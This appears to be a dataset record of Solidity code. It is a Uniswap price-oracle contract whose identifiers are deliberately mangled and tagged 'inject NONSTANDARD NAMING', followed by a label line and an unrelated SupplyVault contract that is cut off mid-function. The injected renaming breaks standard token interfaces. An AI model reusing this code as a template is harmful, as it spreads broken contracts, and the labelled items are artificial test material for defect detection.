NAMING function APPROVE898(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM273(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER185(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL8(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function NAME190() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL403() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS571() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant resolution887 = 112; //inject NONSTANDARD NAMING // encode a uint112 as a UQ112x112 function ENCODE375(uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING return uq112x112(uint224(x) << resolution887); } // encodes a uint144 as a UQ144x112 function ENCODE144305(uint144 x) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING return uq144x112(uint256(x) << resolution887); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function DIV530(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function MUL252(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function FRACTION125(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << resolution887) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function DECODE122(uq112x112 memory self) internal pure returns (uint112) { //inject NONSTANDARD NAMING return uint112(self._x >> resolution887); } // decode a UQ144x112 into a uint144 by truncating after the radix point function DECODE144956(uq144x112 memory self) internal pure returns (uint144) { //inject NONSTANDARD NAMING return uint144(self._x >> resolution887); } } interface IUniswapV2Pair { event APPROVAL8(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING event TRANSFER185(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING function NAME190() external pure returns (string memory); //inject NONSTANDARD NAMING function SYMBOL403() external pure returns (string memory); //inject NONSTANDARD NAMING function DECIMALS571() external pure returns (uint8); //inject NONSTANDARD NAMING function TOTALSUPPLY861() external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF276(address owner) external view returns (uint); //inject NONSTANDARD NAMING function ALLOWANCE661(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE898(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFER827(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM273(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING function DOMAIN_SEPARATOR374() external view returns (bytes32); //inject NONSTANDARD NAMING function PERMIT_TYPEHASH748() external pure returns (bytes32); //inject NONSTANDARD NAMING function NONCES344(address owner) external view returns (uint); //inject NONSTANDARD NAMING function PERMIT537(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING event MINT421(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING event BURN632(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING event SWAP642( //inject NONSTANDARD NAMING address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event SYNC872(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING function MINIMUM_LIQUIDITY496() external pure returns (uint); //inject NONSTANDARD NAMING function FACTORY810() external view returns (address); //inject NONSTANDARD NAMING function TOKEN0628() external view returns (address); //inject NONSTANDARD NAMING function TOKEN1909() external view returns (address); //inject NONSTANDARD NAMING function GETRESERVES186() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING function PRICE0CUMULATIVELAST525() external view returns (uint); //inject NONSTANDARD NAMING function PRICE1CUMULATIVELAST405() external view returns (uint); //inject NONSTANDARD NAMING function KLAST975() external view returns (uint); //inject NONSTANDARD NAMING function MINT537(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING function BURN439(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING function SWAP853(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING function SKIM750(address to) external; //inject NONSTANDARD NAMING function SYNC911() external; //inject NONSTANDARD NAMING function INITIALIZE196(address, address) external; //inject NONSTANDARD NAMING } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function CURRENTBLOCKTIMESTAMP220() internal view returns (uint32) { //inject NONSTANDARD NAMING return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function CURRENTCUMULATIVEPRICES765( //inject NONSTANDARD NAMING address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = CURRENTBLOCKTIMESTAMP220(); price0Cumulative = IUniswapV2Pair(pair).PRICE0CUMULATIVELAST525(); price1Cumulative = IUniswapV2Pair(pair).PRICE1CUMULATIVELAST405(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).GETRESERVES186(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.FRACTION125(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.FRACTION125(reserve0, reserve1)._x) * timeElapsed; } } } // library SafeMath { function ADD549(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB879(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB879(a, b, "SafeMath: subtraction overflow"); } function SUB879(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL252(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV530(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV530(a, b, "SafeMath: division by zero"); } function DIV530(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD417(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD417(a, b, "SafeMath: modulo by zero"); } function MOD417(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function SORTTOKENS809(address tokenA, address tokenB) internal pure returns (address token0, address token1) { //inject NONSTANDARD NAMING require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function PAIRFOR391(address factory, address tokenA, address tokenB) internal pure returns (address pair) { //inject NONSTANDARD NAMING (address token0, address token1) = SORTTOKENS809(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function GETRESERVES186(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { //inject NONSTANDARD NAMING (address token0,) = SORTTOKENS809(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(PAIRFOR391(factory, tokenA, tokenB)).GETRESERVES186(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function QUOTE986(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { //inject NONSTANDARD NAMING require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.MUL252(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function GETAMOUNTOUT221(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { //inject NONSTANDARD NAMING require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.MUL252(997); uint numerator = amountInWithFee.MUL252(reserveOut); uint denominator = reserveIn.MUL252(1000).ADD549(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function GETAMOUNTIN900(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { //inject NONSTANDARD NAMING require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.MUL252(amountOut).MUL252(1000); uint denominator = reserveOut.SUB879(amountOut).MUL252(997); amountIn = (numerator / denominator).ADD549(1); } // performs chained getAmountOut calculations on any number of pairs function GETAMOUNTSOUT486(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i], path[i + 1]); amounts[i + 1] = GETAMOUNTOUT221(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function GETAMOUNTSIN740(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i - 1], path[i]); amounts[i - 1] = GETAMOUNTIN900(amounts[i], reserveIn, reserveOut); } } } contract PriceProviderUniswap is PriceProvider { using FixedPoint for *; using SafeMath for uint; IUniswapV2Pair public immutable pair; address immutable weth; address public immutable stableToken; uint priceCumulativeLast; uint price1CumulativeLast; uint32 blockTimestampLast; bool wethIsToken0; FixedPoint.uq112x112 priceAverage; constructor(address _manager, address _factory, address _weth, address _stableToken) public PriceProvider("Uniswap", _manager, true) { IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.PAIRFOR391(_factory, _weth, _stableToken)); pair = _pair; weth = _weth; if (_weth == _pair.TOKEN0628()) { wethIsToken0 = true; } else { wethIsToken0 = false; } stableToken = _stableToken; if (wethIsToken0 == true) { priceCumulativeLast = _pair.PRICE0CUMULATIVELAST525(); } else { priceCumulativeLast = _pair.PRICE1CUMULATIVELAST405(); } (,,blockTimestampLast) = _pair.GETRESERVES186(); } function UPDATE754() external { //inject NONSTANDARD NAMING require(msg.sender == manager, "manager!"); (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES765(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed if (wethIsToken0 == true) { priceAverage = FixedPoint.uq112x112(uint224((price0Cumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = price0Cumulative; } else { priceAverage = FixedPoint.uq112x112(uint224((price1Cumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = price1Cumulative; } blockTimestampLast = blockTimestamp; } function LASTPRICE690() public override view returns (uint32 price) { //inject NONSTANDARD NAMING uint amountOut = priceAverage.MUL252(1 ether).DECODE144956(); uint8 stableTokenDecimals = ERC20Detailed(stableToken).DECIMALS571(); if (stableTokenDecimals >= decimals686) { price = uint32(amountOut.DIV530(10 ** uint(stableTokenDecimals - decimals686))); } else { price = uint32(amountOut.MUL252(10 ** uint(decimals686 - stableTokenDecimals))); } } }
inject NONSTANDARD NAMING
function MINT537(address to) external returns (uint liquidity);
12,546,439
// SPDX-License-Identifier: MIT pragma solidity =0.8.9; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../libraries/StringHelpers.sol"; import "../libraries/BorrowableHelpers.sol"; import "../interfaces/ISupplyVaultStrategy.sol"; import "../interfaces/ISupplyVault.sol"; import "../interfaces/IBorrowable.sol"; contract SupplyVault is ERC20, ISupplyVault, Ownable, Pausable, ReentrancyGuard { using Math for uint256; using SafeMath for uint256; using SafeERC20 for IERC20; using BorrowableHelpers for IBorrowable; using StringHelpers for string; uint256 constant MAX_BPS = 10_000; uint256 constant MIN_FEE_BPS = 0; uint256 constant MAX_FEE_BPS = MAX_BPS / 2; IERC20 public immutable override underlying; IBorrowable[] public override borrowables; struct BorrowableInfo { bool enabled; bool exists; } mapping(IBorrowable => BorrowableInfo) borrowableInfo; uint public constant GRACE_PERIOD = 14 days; uint public constant MIN_DELAY = 2 days; uint public constant MAX_DELAY = 30 days; ISupplyVaultStrategy public override strategy; ISupplyVaultStrategy public override pendingStrategy; uint256 public override pendingStrategyNotBefore; address public override reallocateManager; address public override feeTo; uint256 public override feeBps = (MAX_BPS * 10) / 100; uint256 checkpointBalance; constructor( IERC20 _underlying, ISupplyVaultStrategy _strategy, string memory _name, string memory _symbol ) public ERC20( _name.orElse(string("GRM ").append(ERC20(address(_underlying)).symbol()).append(" Supply Vault")), _symbol.orElse(string("g").append(ERC20(address(_underlying)).symbol())) ) { underlying = _underlying; strategy = _strategy; _pause(); } function _addBorrowable(address _address) private { // Strategy interprets argument and returns a borrowable IBorrowable borrowable = strategy.getBorrowable(_address); require(address(borrowable.underlying()) == address(underlying), "V:INVLD_UL"); require(!borrowableInfo[borrowable].exists, "V:B_X"); borrowableInfo[borrowable].exists = true; borrowableInfo[borrowable].enabled = true; borrowables.push(borrowable); emit AddBorrowable(address(borrowable)); } function addBorrowable(address _address) external override onlyOwner nonReentrant { _addBorrowable(_address); } function addBorrowables(address[] calldata _addressList) external override onlyOwner nonReentrant { for (uint256 i = 0; i < _addressList.length; i++) { _addBorrowable(_addressList[i]); } } function indexOfBorrowable(IBorrowable borrowable) public view override returns (uint256) { uint256 numBorrowables = borrowables.length; for (uint256 i = 0; i < numBorrowables; i++) { if (borrowables[i] == borrowable) { return i; } } require(false, "V:B_NOT_FOUND"); } function removeBorrowable(IBorrowable borrowable) external override onlyOwner nonReentrant { require(borrowables.length > 0, "V:NO_B"); require(borrowableInfo[borrowable].exists, "V:NO_B"); require(!borrowableInfo[borrowable].enabled, "V:B_E"); require(borrowable.balanceOf(address(this)) == 0, "V:B_NOT_EMPTY"); uint256 lastIndex = borrowables.length - 1; uint256 index = indexOfBorrowable(borrowable); borrowables[index] = borrowables[lastIndex]; borrowables.pop(); delete borrowableInfo[borrowable]; emit RemoveBorrowable(address(borrowable)); } function disableBorrowable(IBorrowable borrowable) external override onlyOwner nonReentrant { require(borrowableInfo[borrowable].exists, "V:B_X"); require(borrowableInfo[borrowable].enabled, "V:B_DSBLD"); borrowableInfo[borrowable].enabled = false; emit DisableBorrowable(address(borrowable)); } function enableBorrowable(IBorrowable borrowable) external override onlyOwner nonReentrant { require(borrowableInfo[borrowable].exists, "V:B_X"); require(!borrowableInfo[borrowable].enabled, "V:B_E"); borrowableInfo[borrowable].enabled = true; emit EnableBorrowable(address(borrowable)); } function unwindBorrowable(IBorrowable borrowable, uint256 borrowableAmount) external override onlyOwner { require(borrowableInfo[borrowable].exists, "V:B_X"); require(!borrowableInfo[borrowable].enabled, "V:B_E"); // Apply any outstanding fees and get the amount of underlying locked in the contract bool belowCheckpoint; { // NOTE: Checkpoint may be below total underlying uint256 totalUnderlying = _applyFee(); belowCheckpoint = totalUnderlying < checkpointBalance; } if (borrowableAmount == 0) { // If value is zero then unwind the entire borrowable borrowableAmount = borrowable.balanceOf(address(this)); } require(borrowableAmount > 0, "V:B_ZERO"); uint256 borrowableAmountAsUnderlying = borrowable.underlyingValueOf(borrowableAmount); require(borrowableAmountAsUnderlying > 0, "V:U_ZERO"); uint256 available = Math.min(borrowable.myUnderlyingBalance(), underlying.balanceOf(address(borrowable))); require(borrowableAmountAsUnderlying <= available, "V:NEED_B"); uint256 underlyingBalanceBefore = underlying.balanceOf(address(this)); IERC20(address(borrowable)).safeTransfer(address(borrowable), borrowableAmount); borrowable.redeem(address(this)); uint256 underlyingAmount = underlying.balanceOf(address(this)).sub(underlyingBalanceBefore); if (belowCheckpoint) { // We were below the checkpoint prior to this unwinding so do not touch checkpoint } else { // Checkpoint matched beforehand so make sure it matches afterward _updateCheckpointBalance(_getTotalUnderlying()); } emit UnwindBorrowable(address(borrowable), underlyingAmount, borrowableAmount); } function updatePendingStrategy(ISupplyVaultStrategy _newPendingStrategy, uint256 _notBefore) external override onlyOwner nonReentrant { if (address(_newPendingStrategy) == address(0)) { require(_notBefore == 0, "V:NOT_BEFORE"); } else { require(address(_newPendingStrategy) != address(0), "V:INVLD_STRAT"); require(_newPendingStrategy != strategy, "V:SAME_STRAT"); require(_notBefore >= block.timestamp + MIN_DELAY, "V:TOO_SOON"); require(_notBefore < block.timestamp + MAX_DELAY, "V:TOO_LATE"); } pendingStrategy = _newPendingStrategy; pendingStrategyNotBefore = _notBefore; emit UpdatePendingStrategy(address(_newPendingStrategy), _notBefore); } function updateStrategy() external override onlyOwner nonReentrant { require(address(pendingStrategy) != address(0), "V:INVLD_STRAT"); require(block.timestamp >= pendingStrategyNotBefore, "V:TOO_SOON"); require(block.timestamp < pendingStrategyNotBefore + GRACE_PERIOD, "V:TOO_LATE"); require(pendingStrategy != strategy, "V:SAME_STRAT"); strategy = pendingStrategy; delete pendingStrategy; delete pendingStrategyNotBefore; emit UpdateStrategy(address(strategy)); } function updateFeeBps(uint256 _newFeeBps) external override onlyOwner nonReentrant { require(_newFeeBps >= MIN_FEE_BPS && _newFeeBps <= MAX_FEE_BPS, "V:INVLD_FEE"); _applyFee(); feeBps = _newFeeBps; emit UpdateFeeBps(_newFeeBps); } function updateFeeTo(address _newFeeTo) external override onlyOwner nonReentrant { require(_newFeeTo != feeTo, "V:SAME_FEE_TO"); _applyFee(); feeTo = _newFeeTo; emit UpdateFeeTo(_newFeeTo); } function updateReallocateManager(address _newReallocateManager) external override onlyOwner nonReentrant { require(_newReallocateManager != reallocateManager, "V:REALLOC_MGR"); reallocateManager = _newReallocateManager; emit UpdateReallocateManager(_newReallocateManager); } function pause() external override onlyOwner nonReentrant { _pause(); } function unpause() external override onlyOwner nonReentrant { _unpause(); } function getBorrowablesLength() external view override returns (uint256) { return borrowables.length; } function getBorrowableEnabled(IBorrowable borrowable) external view override returns (bool) { return borrowableInfo[borrowable].enabled; } function getBorrowableExists(IBorrowable borrowable) external view override returns (bool) { return borrowableInfo[borrowable].exists; } function getTotalUnderlying() external override nonReentrant returns (uint256 totalUnderlying) { totalUnderlying = _applyFee(); } function _getTotalUnderlying() private returns (uint256 totalUnderlying) { totalUnderlying = underlying.balanceOf(address(this)); uint256 numBorrowables = borrowables.length; for (uint256 i = 0; i < numBorrowables; i++) { IBorrowable borrowable = borrowables[i]; totalUnderlying = totalUnderlying.add(borrowable.myUnderlyingBalance()); } } function enter(uint256 _amount) external override whenNotPaused nonReentrant returns (uint256 share) { share = _enterWithToken(address(underlying), _amount); } function enterWithToken(address _tokenAddress, uint256 _tokenAmount) public override whenNotPaused nonReentrant returns (uint256 share) { share = _enterWithToken(_tokenAddress, _tokenAmount); } // Deposit underlying and mint supply vault tokens function _enterWithToken(address _tokenAddress, uint256 _tokenAmount) private returns (uint256 share) { require(_tokenAmount > 0, "V:TKN_ZERO"); uint256 underlyingAmount; if (_tokenAddress == address(underlying)) { underlyingAmount = _tokenAmount; } else if (borrowableInfo[IBorrowable(_tokenAddress)].enabled) { // _tokenAddress is a valid Borrowable // _amount is in Borrowable underlyingAmount = IBorrowable(_tokenAddress).underlyingValueOf(_tokenAmount); } else { require(false, "V:INVLD_TKN"); } require(underlyingAmount > 0, "V:U_ZERO"); // Apply any outstanding fees and get the amount of underlying locked in the contract uint256 totalUnderlying = _applyFee(); // After applying fees we must be exactly at checkpoint to continue require(totalUnderlying == checkpointBalance, "V:DEP_PAUSE"); uint256 totalShares = totalSupply(); if (totalShares == 0) { if (totalUnderlying == 0) { // If no shares exists, mint it 1:1 to the amount put in share = underlyingAmount; } else { // No shares but we have a non-zero balance of underlying so mint 1:1 including existing balance share = underlyingAmount.add(totalUnderlying); } } else { // Shares are non-zero but we have a zero balance of underlying // Cannot happen because checkpoint balance would have been above zero require(totalUnderlying > 0, "V:TU_ZERO"); // Calculate and mint the amount of shares the underlying is worth. // The ratio will change overtime, as shares are burned/minted and underlying deposited + gained from fees / withdrawn. share = underlyingAmount.mul(totalShares).div(totalUnderlying); } mint(msg.sender, share); // Lock the underlying in the contract (does not support taxed tokens) IERC20(_tokenAddress).safeTransferFrom(msg.sender, address(this), _tokenAmount); // Directly update the checkpoint balance to the new watermark so that it is in sync when we call strategy.allocate() checkpointBalance = checkpointBalance.add(underlyingAmount); // At this point checkpointBalance == getTotalUnderlying() strategy.allocate(); // should not change total _updateCheckpointBalance(_getTotalUnderlying()); // force a sync after allocation emit Enter(msg.sender, _tokenAddress, _tokenAmount, underlyingAmount, share); } // Unlocks the staked + gained underlying and burns share function leave(uint256 _share) external override whenNotPaused nonReentrant returns (uint256 underlyingAmount) { require(_share > 0, "V:S_ZERO"); // if total is above checkpoint then it should be >= checkpoint after // if total is below checkpoint then it should be <= checkpoint after // Apply any outstanding fees and get the amount of underlying locked in the contract uint256 totalUnderlyingBefore = _applyFee(); // NOTE: Checkpoint may be below total underlying bool belowCheckpoint = totalUnderlyingBefore < checkpointBalance; // Gets the amount of share in existence uint256 totalShares = totalSupply(); // _share must be positive so this also ensures that totalShares is positive require(_share <= totalShares, "V:INVLD_S"); uint256 needUnderlyingAmount = _share.mul(totalUnderlyingBefore).div(totalShares); uint256 haveUnderlyingAmount = underlying.balanceOf(address(this)); if (needUnderlyingAmount > haveUnderlyingAmount) { needUnderlyingAmount = needUnderlyingAmount.sub(haveUnderlyingAmount); strategy.deallocate(needUnderlyingAmount); // deallocate what we need } // After deallocation we will have at least _share/totalShares available as underlying // Update our total to reflect costs of unwinding uint256 totalUnderlying = _getTotalUnderlying(); // Calculates the amount of underlying the shares is worth underlyingAmount = _share.mul(totalUnderlying).div(totalShares); require(underlyingAmount > 0, "V:ZERO_REDEEM"); require(underlyingAmount <= underlying.balanceOf(address(this)), "V:BAD_STRAT_DEALLOC"); { uint256 newCheckpointBalance; if (belowCheckpoint) { // Scale the checkpoint to match the new total // C = C * (S - s) / S; newCheckpointBalance = checkpointBalance.mul(totalShares.sub(_share)).div(totalShares); } else { // Checkpoint balance matched beforehand so make sure it matches afterward newCheckpointBalance = totalUnderlying.sub(underlyingAmount); } _updateCheckpointBalance(newCheckpointBalance); } burn(msg.sender, _share); underlying.safeTransfer(msg.sender, underlyingAmount); emit Leave(msg.sender, _share, underlyingAmount); } function _transferShareOfToken( address _token, uint256 _share, uint256 _totalShares ) private returns (uint256 transferredAmount) { uint256 totalAmount = IERC20(_token).balanceOf(address(this)); if (totalAmount > 0) { transferredAmount = totalAmount.mul(_share).div(_totalShares); if (transferredAmount > 0) { IERC20(_token).safeTransfer(msg.sender, transferredAmount); } } } function leaveInKind(uint256 _share) external override nonReentrant { require(_share > 0, "V:S_ZERO"); bool belowCheckpoint; { // NOTE: Checkpoint may be below total underlying uint256 totalUnderlying = _applyFee(); belowCheckpoint = totalUnderlying < checkpointBalance; } uint256 totalShares = totalSupply(); // _share must be positive so this also ensures that totalShares is positive require(_share <= totalShares, "V:INVLD_S"); burn(msg.sender, _share); // Send share of underlying bool sentSomething = _transferShareOfToken(address(underlying), _share, totalShares) > 0; // Send share of each borrowable uint256 numBorrowables = borrowables.length; for (uint256 i = 0; i < numBorrowables; i++) { IBorrowable borrowable = borrowables[i]; if (_transferShareOfToken(address(borrowable), _share, totalShares) > 0) { sentSomething = true; } } // Ensure we sent something require(sentSomething, "V:ZERO_AMOUNT"); { uint256 newCheckpointBalance; if (belowCheckpoint) { // Scale the checkpoint to match the new total // C = C * (S - s) / S; newCheckpointBalance = checkpointBalance.mul(totalShares.sub(_share)).div(totalShares); } else { // Checkpoint balance matched beforehand so make sure it matches afterward newCheckpointBalance = _getTotalUnderlying(); } _updateCheckpointBalance(newCheckpointBalance); } emit LeaveInKind(msg.sender, _share); } function reallocate(uint256 _share, bytes calldata _data) external override nonReentrant { require(msg.sender == owner() || msg.sender == reallocateManager, "V:NOT_AUTHORIZED"); // Apply any outstanding fees and get the amount of underlying locked in the contract uint256 totalUnderlyingBefore = _applyFee(); // NOTE: Checkpoint may be below total underlying bool belowCheckpoint = totalUnderlyingBefore < checkpointBalance; // Gets the amount of share in existence uint256 totalShares = totalSupply(); // _share must be positive so this also ensures that totalShares is positive require(_share <= totalShares, "V:INVLD_S"); uint256 underlyingAmount = _share.mul(totalUnderlyingBefore).div(totalShares); strategy.reallocate(underlyingAmount, _data); if (belowCheckpoint) { // no-op } else { // Checkpoint balance matched beforehand so make sure it matches afterward _updateCheckpointBalance(_getTotalUnderlying()); } emit Reallocate(msg.sender, _share); } function allocateIntoBorrowable(IBorrowable borrowable, uint256 underlyingAmount) external override onlyStrategy { require(borrowableInfo[borrowable].enabled, "V:NOT_ENABLED"); uint256 borrowableBalanceBefore = borrowable.balanceOf(address(this)); underlying.safeTransfer(address(borrowable), underlyingAmount); borrowable.mint(address(this)); uint256 borrowableAmount = borrowable.balanceOf(address(this)).sub(borrowableBalanceBefore); emit AllocateBorrowable(address(borrowable), underlyingAmount, borrowableAmount); } function deallocateFromBorrowable(IBorrowable borrowable, uint256 borrowableAmount) external override onlyStrategy { require(borrowableInfo[borrowable].exists, "V:NOT_EXISTS"); uint256 underlyingBalanceBefore = underlying.balanceOf(address(this)); IERC20(address(borrowable)).safeTransfer(address(borrowable), borrowableAmount); borrowable.redeem(address(this)); uint256 underlyingAmount = underlying.balanceOf(address(this)).sub(underlyingBalanceBefore); emit DeallocateBorrowable(address(borrowable), borrowableAmount, underlyingAmount); } // returns the total amount of underlying an address has in the supply vault function underlyingBalanceForAccount(address _account) external override nonReentrant returns (uint256 underlyingBalance) { uint256 totalUnderlying = _applyFee(); uint256 shareAmount = balanceOf(_account); uint256 totalShares = totalSupply(); underlyingBalance = shareAmount.mul(totalUnderlying).div(totalShares); } // Returns how much underlying we get for a given amount of share function shareValuedAsUnderlying(uint256 _share) external override nonReentrant returns (uint256 underlyingAmount_) { uint256 totalUnderlying = _applyFee(); uint256 totalShares = totalSupply(); underlyingAmount_ = _share.mul(totalUnderlying).div(totalShares); } // Returns how much share we get for depositing a given amount of underlying function underlyingValuedAsShare(uint256 _underlyingAmount) external override nonReentrant returns (uint256 share_) { uint256 totalUnderlying = _applyFee(); uint256 totalShares = totalSupply(); if (totalShares == 0) { if (totalUnderlying == 0) { // If no shares exists, mint it 1:1 to the amount put in share_ = _underlyingAmount; } else { // No shares but we have a non-zero balance of underlying so mint 1:1 including existing balance share_ = _underlyingAmount.add(totalUnderlying); } } else { // Shares are non-zero but we have a zero balance of underlying // Cannot happen because checkpoint balance would have been above zero require(totalUnderlying > 0, "V:TU_ZERO"); // Calculate and mint the amount of shares the underlying is worth. // The ratio will change overtime, as shares are burned/minted and underlying deposited + gained from fees / withdrawn. share_ = _underlyingAmount.mul(totalShares).div(totalUnderlying); } } function getSupplyRate() external override nonReentrant 